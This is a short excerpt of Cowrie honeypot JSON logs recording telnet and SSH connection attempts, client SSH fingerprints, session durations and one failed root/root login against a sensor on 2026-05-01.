{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53034,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8267ec71c7","protocol":"telnet","message":"New connection: 188.208.141.113:53034 (10.17.0.5:23) [session: 7e8267ec71c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:21.572085Z"}
{"eventid":"cowrie.session.closed","duration":39.901329040527344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:23.630246Z","src_ip":"188.208.141.113","session":"9313f61e62cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.89199686050415,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:26.100178Z","src_ip":"188.208.141.113","session":"87a6aef73db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.62","src_port":43746,"dst_ip":"10.17.0.5","dst_port":22,"session":"12b892164709","protocol":"ssh","message":"New connection: 213.177.179.62:43746 (10.17.0.5:22) [session: 12b892164709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:35.537638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:35.542915Z","src_ip":"213.177.179.62","session":"12b892164709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:35.633126Z","src_ip":"213.177.179.62","session":"12b892164709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.86.179.2","src_port":63280,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f67f8eef197","protocol":"ssh","message":"New connection: 54.86.179.2:63280 (159.203.135.109:22) [session: 6f67f8eef197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:35.662102Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:37.024598Z","src_ip":"213.177.179.62","session":"12b892164709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0a2c93062f","protocol":"telnet","message":"New connection: 188.208.141.113:36570 (10.17.0.5:23) [session: 8e0a2c93062f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:37.477333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:39.121078Z","src_ip":"54.86.179.2","session":"6f67f8eef197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:39.124488Z","src_ip":"54.86.179.2","session":"6f67f8eef197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36572,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d889dd96c0","protocol":"telnet","message":"New connection: 188.208.141.113:36572 (10.17.0.5:23) [session: d5d889dd96c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:39.264057Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40032,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86584cb3cd7","protocol":"telnet","message":"New connection: 188.208.141.113:40032 (10.17.0.5:23) [session: b86584cb3cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:40.717551Z"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:40.990082Z","src_ip":"54.86.179.2","session":"6f67f8eef197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.99.6.166","src_port":9009,"dst_ip":"10.17.0.5","dst_port":22,"session":"729d31fa5bbd","protocol":"ssh","message":"New connection: 101.99.6.166:9009 (10.17.0.5:22) [session: 729d31fa5bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:42.474604Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:43.002244Z","src_ip":"101.99.6.166","session":"729d31fa5bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.99.6.166","src_port":9074,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a8cfee8d62","protocol":"ssh","message":"New connection: 101.99.6.166:9074 (10.17.0.5:22) [session: 44a8cfee8d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:43.513976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:43.518715Z","src_ip":"101.99.6.166","session":"44a8cfee8d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:44.034750Z","src_ip":"101.99.6.166","session":"44a8cfee8d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:45.578366Z","src_ip":"101.99.6.166","session":"44a8cfee8d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:47.095905Z","src_ip":"101.99.6.166","session":"44a8cfee8d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cbf8ecc2346","protocol":"telnet","message":"New connection: 188.208.141.113:59822 (10.17.0.5:23) [session: 4cbf8ecc2346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:53.230819Z"}
{"eventid":"cowrie.session.closed","duration":3.50695538520813,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:58:56.737661Z","src_ip":"188.208.141.113","session":"4cbf8ecc2346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32817578315735,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:00.900092Z","src_ip":"188.208.141.113","session":"7e8267ec71c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89252829551697,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:15.609967Z","src_ip":"188.208.141.113","session":"b86584cb3cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37527942657471,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:17.852491Z","src_ip":"188.208.141.113","session":"8e0a2c93062f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54206,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d6ddcb530f3","protocol":"telnet","message":"New connection: 188.208.141.113:54206 (10.17.0.5:23) [session: 7d6ddcb530f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:20.128445Z"}
{"eventid":"cowrie.session.closed","duration":41.014981746673584,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:20.278926Z","src_ip":"188.208.141.113","session":"d5d889dd96c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49136,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d2011a6c1e","protocol":"telnet","message":"New connection: 188.208.141.113:49136 (10.17.0.5:23) [session: 25d2011a6c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:23.009372Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49150,"dst_ip":"10.17.0.5","dst_port":23,"session":"620b82c84e6b","protocol":"telnet","message":"New connection: 188.208.141.113:49150 (10.17.0.5:23) [session: 620b82c84e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:27.922203Z"}
{"eventid":"cowrie.session.closed","duration":5.058776140213013,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:28.068024Z","src_ip":"188.208.141.113","session":"25d2011a6c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79282f8f6ac","protocol":"telnet","message":"New connection: 188.208.141.113:36032 (10.17.0.5:23) [session: e79282f8f6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:36.941838Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41926,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9587d0b2ae","protocol":"telnet","message":"New connection: 188.208.141.113:41926 (10.17.0.5:23) [session: cc9587d0b2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:40.801404Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41928,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a11b103cd9","protocol":"telnet","message":"New connection: 188.208.141.113:41928 (10.17.0.5:23) [session: f3a11b103cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:49.622171Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47598,"dst_ip":"10.17.0.5","dst_port":23,"session":"082be076154c","protocol":"telnet","message":"New connection: 188.208.141.113:47598 (10.17.0.5:23) [session: 082be076154c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:52.699945Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda285d38cd0","protocol":"telnet","message":"New connection: 103.208.219.59:57740 (10.17.0.5:23) [session: dda285d38cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:55.650433Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eae2f562db3","protocol":"telnet","message":"New connection: 188.208.141.113:47606 (10.17.0.5:23) [session: 5eae2f562db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:55.807182Z"}
{"eventid":"cowrie.session.closed","duration":35.78146815299988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:59:55.909815Z","src_ip":"188.208.141.113","session":"7d6ddcb530f3","protocol":"telnet"}